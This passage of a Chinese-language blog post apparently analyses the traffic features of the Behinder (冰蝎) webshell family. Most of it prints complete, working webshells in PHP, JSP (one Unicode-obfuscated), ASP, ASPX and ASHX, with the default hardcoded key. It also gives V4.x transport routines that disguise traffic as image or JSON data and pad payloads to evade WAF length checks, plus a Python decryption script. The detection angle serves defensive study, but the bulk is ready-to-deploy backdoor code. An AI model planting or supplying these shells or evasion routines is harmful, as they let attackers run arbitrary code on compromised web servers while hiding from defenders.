$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

解密python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64

# 固定密钥(冰蝎默认)
key = "e45e329feb5d925b"

# 替换为你的 Base64 加密 payload(来自 POST body)
b64_payload = "YOUR_BASE64_HERE"

# 1. Base64 解码
cipher_bytes = base64.b64decode(b64_payload)

# 2. XOR 解密(注意:索引是 (i+1) & 15
plain = bytearray()
for i in range(len(cipher_bytes)):
k = ord(key[(i + 1) & 15]) # 关键:i+1
plain.append(cipher_bytes[i] ^ k)

# 3. 输出结果
result = plain.decode('utf-8', errors='replace')
print(result)
1
2
3
Content-type: application/x-www-form-urlencoded
Cache-Control: no-cache
Pragma: no-cache

不支持openssl扩展时依然会先尝试aes,返回500

shell.asp (xor加密逻辑与冰蝎v2.x一致)只不过是固定key

1
2
3
4
5
6
7
8
9
10
11
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

shell.aspx AES-128-CBC key = IV但是key固定

1
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
1
2
3
Content-Type: application/octet-stream
Cache-Control: no-cache
Pragma: no-cache

V4.x

https://github.com/rebeyond/Behinder/releases/download/Behinder_v4.1%E3%80%90t00ls%E4%B8%93%E7%89%88%E3%80%91/Behinder_v4.1.t00ls.zip

shell.jsp同V3.x

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

shell.jspx同V3.x

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

shell_java9.jsp 同V3.x(兼容java8+,只是换了base64编码库,加解密一样)

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

shell_uni.jsp unicode编码的shell.jsp

1
2
3
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%>
<%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0050\u004f\u0053\u0054\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d\u0022\u0065\u0034\u0035\u0065\u0033\u0032\u0039\u0066\u0065\u0062\u0035\u0064\u0039\u0032\u0035\u0062\u0022\u003b\u002f\u002a\u003f\u00b1\u004b\u003f\u003f\u003f\u00b1\u00b5\u00b1\u004b\u003f\u0033\u0032\u00a6\u00ec\u006d\u0064\u0035\u00ad\u00c8\u00aa\u00ba\u00ab\u0065\u0031\u0036\u00a6\u00ec\u00a1\u0041\u00c0\u0071\u003f\u003f\u00b1\u00b5\u00b1\u004b\u003f\u0072\u0065\u0062\u0065\u0079\u006f\u006e\u0064\u002a\u002f\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028\u0022\u0075\u0022\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0022\u0041\u0045\u0053\u0022\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0022\u0041\u0045\u0053\u0022\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%>

shell.php同V3.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

shell.asp同V3.x

1
2
3
4
5
6
7
8
9
10
11
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

shell.aspx同V3.x

1
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

多了一个shell.ashx,没有html的aspx,AES-128-CBC key = IVkey固定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<% @ webhandler language="C#" class="NodeHandler" %> 

using System;
using System.Web;
using System.Text;
using System.Reflection;
public class NodeHandler : IHttpHandler,System.Web.SessionState.IRequiresSessionState
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
byte[] k = Encoding.Default.GetBytes(ctx.Session[0] + ""),c = ctx.Request.BinaryRead(ctx.Request.ContentLength);
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(ctx);
}
}

默认与v3.x加解密方法一致,但是V4.x提供了自定义传输协议

default_xor 实际上就是php不支持openssl时的xor加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}

private byte[] Decrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}

default_xor_base64 同上,只不过payload和响应base64编码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
byte[] encrypted ;
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}

private byte[] Decrypt(byte[] data) throws Exception
{
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return decodebs;
}

default_aes 就是jsp的aes加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}

private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

}
return c.doFinal(decodebs);

}

default_image 伪造成图片数据传输,就是在content后拼接payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private byte[] Encrypt(byte[] data) throws Exception
{
String content="iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAAAXNSR0IArs4c6QAAAIRlWElmTU0AKgAAAAgABQESAAMAAAABAAEAAAEaAAUAAAABAAAASgEbAAUAAAABAAAAUgEoAAMAAAABAAIAAIdpAAQAAAABAAAAWgAAAAAAAABIAAAAAQAAAEgAAAABAAOgAQADAAAAAQABAACgAgAEAAAAAQAAABSgAwAEAAAAAQAAAA4AAAAAa7cS3QAAAAlwSFlzAAALEwAACxMBAJqcGAAAAVlpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDYuMC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KGV7hBwAAAXZJREFUOBGNVE1Lw0AQfRtNRfFUKyqp6E160bSlKv4SwZMeevHqH/EgxaOC/hVbMBoR/LhaP5DWXrxoajbu7LKyaZPUhYQJ897b2TezYZFYGLEiKAgDG4EErCwECYU8VBChSbEWT+OxtAqpcMaSK8rKjSftpAk84mg9X8Hv3kuYWyhhs1iVG2nMIH+oQg2k4x37Z9h/OkE5tyC8YfCCFzSWdlF3d2AxCxpriqYKXrQvseUdYHu6iiD6ARfuTbEczj9baNYOsVGsJArGmkKGa99uu4/Ij+Xl5l88wDfvg2Qdew5+504VlWBxTNAsXc+S4qiBoVgPkIk145gg0cgXWquFFfTCnjzqpGVjQjzk42v/He5sSWnoXdWXfCd2mTLrThlHnT3RlFO49rywArgO3tBYrqPmuIZEPBxqCqV192hsmm0PNx8PkrU2I8ZmsZLaYQIlClJCi1I8uLJyMQ9NInWbiH9XTyTl1cu4QcRPrdAU1/f3Pz+HX/qNrcYjTeaNAAAAAElFTkSuQmCC";
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(java.util.Base64.getDecoder().decode(content));
bos.write(data);
return bos.toByteArray();
}

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,966,data.length-966);
return bos.toByteArray();
}

default_json 伪造成json传输,在json后面拼接payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private byte[] Encrypt(byte[] data) throws Exception
{
String json="{\"id\":\"1\",\"body\":{\"user\":\"lucky\"}}";
json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,26,data.length-29);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

aes_with_magic AES-128 ECB 无IV但是在尾部拼接随机magicNum,绕过waf长度检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
   private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
//key="34192114c8d05df8";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "绠楁硶/妯″紡/琛ョ爜鏂瑰紡"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
//澧炲姞榄旀硶灏惧反
int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
java.util.Random random=new java.util.Random();
byte[] buf=new byte[magicNum];
for (int i=0;i<buf.length;i++)
{
buf[i]=(byte)random.nextInt(256);
}
java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
output.write(encrypted);
output.write(buf);
return output.toByteArray();
}

private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //鍙杕agic tail闀垮害
data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //鎴帀magic tail
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

}
return c.doFinal(decodebs);
}

冰蝎webshell流量特征
http://example.com/2025/12/14/冰蝎/
作者
J_0k3r
发布于
2025年12月14日
许可协议
BY J_0K3R